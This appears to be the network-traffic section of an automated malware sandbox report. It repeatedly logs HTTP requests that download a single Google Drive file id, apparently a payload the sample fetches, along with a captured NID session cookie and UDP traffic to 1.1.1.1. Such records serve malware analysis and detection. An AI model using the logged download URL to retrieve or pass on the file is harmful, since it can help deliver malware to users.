Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cacheCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
Source: global traffic	HTTP traffic detected: GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
